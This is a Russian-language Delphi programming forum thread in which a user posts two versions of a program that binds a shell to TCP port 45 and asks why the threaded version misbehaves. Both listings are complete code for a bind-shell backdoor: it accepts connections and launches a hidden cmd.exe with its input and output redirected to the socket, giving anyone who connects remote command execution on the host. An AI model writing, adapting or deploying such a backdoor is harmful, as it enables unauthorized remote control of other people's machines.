Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Shell просто работает, а в потоке нет! Как можно побороть? 
:(
    Опции темы
Delphins
  Дата 12.8.2007, 12:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 93
Регистрация: 10.8.2005
Где: Россия, Краснодар

Репутация: нет
Всего: нет



Есть программа. Она биндит шелл на порту. Банально перенаправялет вывод и ввод консоли .
Она работает отлично при вызове из тела программы, но если пытаюсь вставить её в поток, она жутко глючит, 1000 раз открывает консоль, короче что-то не то происходит. Посмотри код может кто увидит что тут не так.
Просто код (работает), вызов из тела программы.
Код


program console;

uses
  SysUtils,
  WinSock,
  Windows,
  WinInet;

const
  BindPort = 45;

function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword ): integer; stdcall; external 'ws2_32.dll';

procedure OpenConsoleOnPort( );   // <-- Shell
Var
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;
Begin
  WSAStartup( $202, WSAData ); // Start up socket
  FSocket := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 );
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons( BindPort ); // set socket port
  bind( FSocket, SockAddrIn, 16 );
  listen( FSocket, 0 ); // Listen to data
  While true  Do
  Begin
    sHandle := accept( FSocket, Nil, nil ); // Accept data
    If sHandle <> INVALID_SOCKET Then
    Begin
      ZeroMemory( @St, SizeOf( TStartupInfo ) );
      St.cb := SizeOf( TStartupInfo );
      St.wShowWindow := SW_HIDE;
      St.dwFlags := STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW;
      St.hStdInput := sHandle;
      St.hStdOutput := sHandle;
      St.hStdError := sHandle;
      CreateProcess( Nil, 'cmd.exe', Nil, Nil, true, 0, Nil, Nil, St, Pr );
      CloseHandle( sHandle );
      CloseHandle( Pr.hProcess );
      CloseHandle( Pr.hThread );
    End;
  End;
End;
begin
   OpenConsoleOnPort( );
end.




Код где в потоке, не работает...: 
Код

program console;

uses
  SysUtils,
  WinSock,
  Windows,
  WinInet

const
  BindPort = 45;

var
  Thread_BindPort: Cardinal;

function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword ): integer; stdcall; external 'ws2_32.dll';

function OpenConsoleOnPort( Parametr: Pointer ): Integer;   // <-- Shell thread
Var
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;
Begin
  WSAStartup( $202, WSAData ); // Start up socket
  FSocket := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 );
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons( BindPort ); // set socket port
  bind( FSocket, SockAddrIn, 16 );
  listen( FSocket, 0 ); // Listen to data
  While true  Do
  Begin
    sHandle := accept( FSocket, Nil, nil ); // Accept data
    If sHandle <> INVALID_SOCKET Then
    Begin
      ZeroMemory( @St, SizeOf( TStartupInfo ) );
      St.cb := SizeOf( TStartupInfo );
      St.wShowWindow := SW_HIDE;
      St.dwFlags := STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW;
      St.hStdInput := sHandle;
      St.hStdOutput := sHandle;
      St.hStdError := sHandle;
      CreateProcess( Nil, 'cmd.exe', Nil, Nil, true, 0, Nil, Nil, St, Pr );
      CloseHandle( sHandle );
      CloseHandle( Pr.hProcess );
      CloseHandle( Pr.hThread );
    End;
  End;
End;
begin
     BeginThread( nil, 0, @OpenConsoleOnPort, 0, 0, Thread_BindPort ); // <-- Begin Shell Thread

    While Thread_BindPort <> 0 do
      Sleep( 5000 );
    //WaitForSingleObject( Thread_BindPort, INFINITE );
  end;
end.



PM MAIL ICQ Skype MSN   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0807 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.